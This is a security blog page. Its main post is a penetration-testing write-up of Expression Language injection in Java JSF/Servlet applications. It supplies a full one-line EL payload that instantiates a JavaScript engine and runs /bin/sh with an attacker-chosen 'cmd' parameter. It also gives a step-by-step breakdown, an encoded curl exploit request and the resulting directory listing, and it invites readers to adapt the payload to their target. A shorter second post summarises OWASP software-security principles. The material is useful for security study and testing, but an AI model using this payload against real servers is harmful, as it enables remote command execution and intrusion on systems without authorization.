Monday, November 23, 2015

Reliable OS Shell with - EL [ Expression Language ] - Injection


Abusing EL for executing OS Commands

Expression Language injection

Wow! It may lead to remote command execution on modern Servlet environments. This was  pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).

In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue  in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.

EL Injection example in a JSF Facelets Environment

index.xhtml gets “expression” parameter from the request and sends it to evalAsString():

        Hello from Facelets 
        <br /> 
        <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> 

NewClass.java implements ELAsString() that an EL implementation that evaluates arguments dynamically:

import java.io.Serializable;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;

@ManagedBean(name="beanEL")
@SessionScoped

public class NewClass implements Serializable {
   
    public static String ELAsString(String p_expression)
{
    FacesContext context = FacesContext.getCurrentInstance();
    ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory();
    ELContext elContext = context.getELContext();
    ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class);
    String result = (String) vex.getValue(elContext);
    return result;
}
}


Why a One-Liner OS command shell payload?


The rules of this OS command shell game:

- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL

Final payload


${facesContext.getExternalContext().getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}${session.getAttribute("scriptengine").eval("var
proc = new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start();
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}



Payload Explained

Feel free to change it and modify it to fit your current target.


1) Setting the charset:

System.out.println(URLEncoder.encode(pf.enc.encrypt("${request.getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}

2) Invoking ScriptManager constructor without arguments and we store the  instance as a session object:

${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())},${session.setAttribute("scriptengine\",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}

3) Redirect ScriptEngine output writer output to the Http Response writer input:

${session.setAttribute("scriptengine",session.getAttribute("scriptfactory\").getEngineByName("JavaScript"))},${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}

4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “java.io.Reader”) with the JS code that executes the runtime command:

${session.getAttribute("scriptengine").eval("
new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start()"))}

5) Getting proc standard Output and reading it via java.util.Scanner and printing it out

var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))

5) Closing the http response
${facesContext.getExternalContext().getResponse().getWriter().close()}



Is a Servlet Modern enough for a reliable RCE?


JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.

  • Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
  • Servlet 2.5 comes with JSP/EL 2.1.
  • Servlet 2.4 comes with JSP/EL 2.0.
  • Servlet 2.3 comes with JSP 1.2 without EL.
Note: Newer servers like Tomcat 8 and 9 have even newer servlet versions and better capabilities, but our target was running Jetty 9.1.

In 2012 Dan Amodio from Aspect Security  (http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection) discovered that  “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.

The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This  is a boring limitation since we can only invoke or call a limited number of methods:

private Object invokeMethod(Method m, Object base, Object[] params)
/*     */   {
/* 764 */     Class[] parameterTypes = m.getParameterTypes();
/* 765 */     Object[] parameters = null;
/* 766 */     if (parameterTypes.length > 0) {
/* 767 */       ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */       if (!m.isVarArgs())
/*     */       {
/*     */
/* 771 */         parameters = new Object[parameterTypes.length];
/* 772 */         for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */           parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/*     */         }
/*     */       }
/*     */     }
/*     */     try
/*     */     {
/* 779 */       return m.invoke(base, parameters);


If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine.  JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.

JS Rhino Script Engine is supported in Java 6 and 7,  Mozilla Nashorn Script Engine is available from Java 8.  For more information:

Rhino: https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html
Nashorn: https://docs.oracle.com/javase/8/docs/api/javax/script/ScriptEngineManager.html

Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.


Exploit Payload request:


n0def@n0def:/# curl
'http://localhost:8080/WebApplication/?&cmd=ls%20/&expression=%24{facesContext.getExternalContext%28%29.getResponse%28%29.setContentType%28%22text%2fplain%3b%0Acharset%3d\%22UTF-8\%22%22%29}%24{session.setAttribute%28%22scriptfactory%22%2c%22%22.getClass%28%29.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29%29}%24{session.setAttribute%28%22scriptengine%22%2csession.getAttribute%28%22scriptfactory%22%29.getEngineByName%28%22JavaScript%22%29%29}%24{session.getAttribute%28%22scriptengine%22%29.getContext%28%29.setWriter%28facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29%29}%24{session.getAttribute%28%22scriptengine%22%29.eval%28%22var%0Aproc%20%3d%20new%0Ajava.lang.ProcessBuilder[\%22%28java.lang.String[]%29\%22]%28[\%22%2fbin%2fsh\%22%2c\%22-c\%22%2c\%22%22.concat%28request.getParameter%28%22cmd%22%29%29.concat%28%22\%22]%29.start%28%29%3b%0Avar%20is%20%3d%20proc.getInputStream%28%29%3b%20var%20sc%20%3d%20new%0Ajava.util.Scanner%28is%2c\%22UTF-8\%22%29%3b%20var%20out%20%3d%20\%22\%22%3b%20while%0A%28sc.hasNext%28%29%29%20{out%20%2b%3d%20sc.nextLine%28%29%2bString.fromCharCode%2810%29%3b}%0Aprint%28out%29%3b%22%29%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.flush%28%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.close%28%29}'


Exploit Payload Response:


bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
vmlinuz
vmlinuz.old

n0def@n0def:/#

Wednesday, November 4, 2015

Software Security in practice

Last week I did a talk at the AIEA Turin Chapter on Software Security in Practice.

I started the talk asking some key questions:

- What is Secure Software?

- How can a Company manages the security of the applications today?

- How can OWASP support the Enterprises to develop, maintain and buy Software ever more secure?

- What is a structured approach to the Governance of Software Security?


What we can say today is that Secure Software does not exist: the vulnerabilities in the software development process are expected. The control of the security bugs and flaws in the software should be considered as part of the process of software development. Below

I do a summary of the basic principles of software security and how OWASP can help to create a structured approach to the Governance of Software Security.

1) If you do not ask for security, no one will develop "secure software".
- Use the OWASP Software Contract Annex to regulate your outsourcer contracts

2) If you do not know the application threats, you will develop unsecure software.
- Use the OWASP Top 10 for General Awareness
- Use the OWASP CISO Guide for Management’s Awareness

3) Vulnerabilities in the software development process are expected.
- Use the OWASP Building Guide and ESAPI to write more secure software
- Use the OWASP Secure Code Review Guide to review the code
- Use the OWASP Testing Guide to review your application

4) The fixing process is the most important step of the process of software security.
- Retest your application after a bug fixing or a new release to be sure that the right implementations are in place

5) Software Security Governance is the key to have a mature SDLC.
- Use the OWASP SAMM to assess your maturity and to build an Application Security Program to manage the SDLC.

At the end of the presentation I show how the Companies are approaching Software Security today in the real world using OWASP SAMM and BSIMM 6.

You can read the presentation here.